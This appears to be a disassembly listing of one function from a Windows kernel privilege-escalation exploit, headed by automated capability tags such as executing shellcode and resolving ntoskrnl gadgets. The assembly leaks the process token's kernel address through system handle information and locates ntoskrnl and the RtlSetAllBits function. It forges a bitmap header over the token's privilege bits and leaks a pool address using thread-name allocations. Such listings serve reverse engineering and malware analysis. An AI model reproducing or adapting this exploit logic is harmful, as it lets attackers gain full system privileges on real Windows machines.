Function at 0x140001530
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Load ntoskrnl
Resolve ntoskrnl gadgets
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x68
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x58], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x140001574
lea rcx, str.____Failed_to_load_NTDLL
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001c30
add rsp, 0x68
ret
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbp
mov qword [rsp + 0x60], r14
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rcx, str.ntdll.dll
mov dword [0x140005980], eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.ntdll.dll
mov qword [0x1400059b0], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rsp + 0x50]
xor edx, edx
xor ecx, ecx
mov qword [0x1400059a8], rax
call qword [sym.imp.KERNEL32.dll_K32EnumDeviceDrivers]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edx, dword [rsp + 0x50]
lea r8, [rsp + 0x50]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumDeviceDrivers]
test eax, eax
jne 0x14000162e
xor edx, edx
lea r8d, [rax + 1]
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
lea rcx, str.____Failed
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
jmp 0x1400017b5
mov r14, qword [rbx]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
xor edx, edx
lea rcx, str.ntoskrnl.exe
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbp, rax
test r14, r14
je 0x14000161c
test rax, rax
je 0x14000161c
mov r8d, dword [0x140005980]
xor edx, edx
mov qword [rsp + 0x80], rsi
mov ecx, 0x400
mov qword [rsp + 0x88], rdi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x14000168f
lea rcx, str.____Failed_to_open_current_process
jmp 0x140001793
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x1400016b2
lea rcx, str.____Failed_to_open_process_token
jmp 0x140001793
xor esi, esi
nop dword [rax]
nop dword [rax + rax]
mov rdi, qword [rsp + 0x30]
mov ecx, 0x20
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, 0x20
mov dword [rsp + 0x50], 0x20
lea r9, [rsp + 0x50]
mov rdx, rax
mov rbx, rax
lea ecx, [r8 - 0x10]
call qword [0x1400059a8]
cmp eax, 0xc0000004
jne 0x140001728
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0x10
mov rbx, rax
call qword [0x1400059a8]
test rbx, rbx
je 0x14000177e
test eax, eax
jne 0x14000177e
mov r8d, dword [rbx]
xor edx, edx
test r8, r8
je 0x140001769
mov r9d, dword [0x140005980]
lea rax, [rbx + 0xc]
movzx ecx, word [rax - 4]
cmp ecx, r9d
jne 0x14000175d
cmp byte [rax], 5
jne 0x14000175d
movzx ecx, word [rax + 2]
cmp rdi, rcx
je 0x1400017d6
inc rdx
add rax, 0x18
cmp rdx, r8
jb 0x140001746
lea rcx, str.____failed_to_find_handle
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
inc esi
cmp esi, 0x100
jb 0x1400016c0
lea rcx, str.____Failed_to_get_token_kernel_address
call fcn.140001010
lea rcx, str.____Failed_to_get_token_kernel_address
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r14, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140001c30
add rsp, 0x68
ret
lea rax, [rdx + rdx*2]
mov rcx, rbx
mov rdi, qword [rbx + rax*8 + 0x10]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test rdi, rdi
je 0x14000177e
lea rdx, str.RtlSetAllBits
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000180b
lea rcx, str.____Failed_to_find_RtlSetAllBits
jmp 0x14000179f
sub rax, rbp
xor r9d, r9d
add rax, r14
xor r8d, r8d
mov qword [0x140005998], rax
xor edx, edx
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, 0x1000
mov r9d, 4
mov r8d, esi
mov edx, esi
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movabs rcx, 0x4141414141414141
lea r8, [rsp + 0x40]
mov r9d, 0x10
xorps xmm0, xmm0
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
lea rcx, [rdi + 0x40]
mov qword [rax + 8], rcx
lea edx, [r9 + 0x16]
mov qword [rax], 0x80
mov rcx, rbx
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x40], 0xffff1000
mov qword [rsp + 0x48], rax
call qword [0x1400059b0]
mov edx, 0x100000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x30]
mov r8d, 0x100000
mov rdx, rax
mov ecx, 0x42
mov rbx, rax
call qword [0x1400059a8]
mov ecx, dword [rbx]
movzx edi, word [rsp + 0x40]
add edi, 0x10
lea rsi, [rcx*2 + 1]
add rsi, rcx
lea rsi, [rbx + rsi*8]
add rbx, 8
cmp rbx, rsi
jae 0x14000191e
lea rcx, [rbx + 0x10]
mov r8d, 4
lea rdx, str.ThNm
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001915
mov eax, edi
cmp rax, qword [rbx + 8]
je 0x140001941
add rbx, 0x18
cmp rbx, rsi
jb 0x1400018f2
lea rcx, str.____Failed_to_leak_pool_address_for_forged_BitMapHeader_n
call fcn.140001010
mov qword [0x1400059a0], 0
lea rcx, str.____Failed_to_pool_leak_address_of_token
jmp 0x14000179f
mov rax, qword [rbx]
and rax, 0xfffffffffffffff0
add rax, 0x10
mov qword [0x1400059a0], rax
je 0x140001935
call fcn.140001240
jmp 0x1400017a5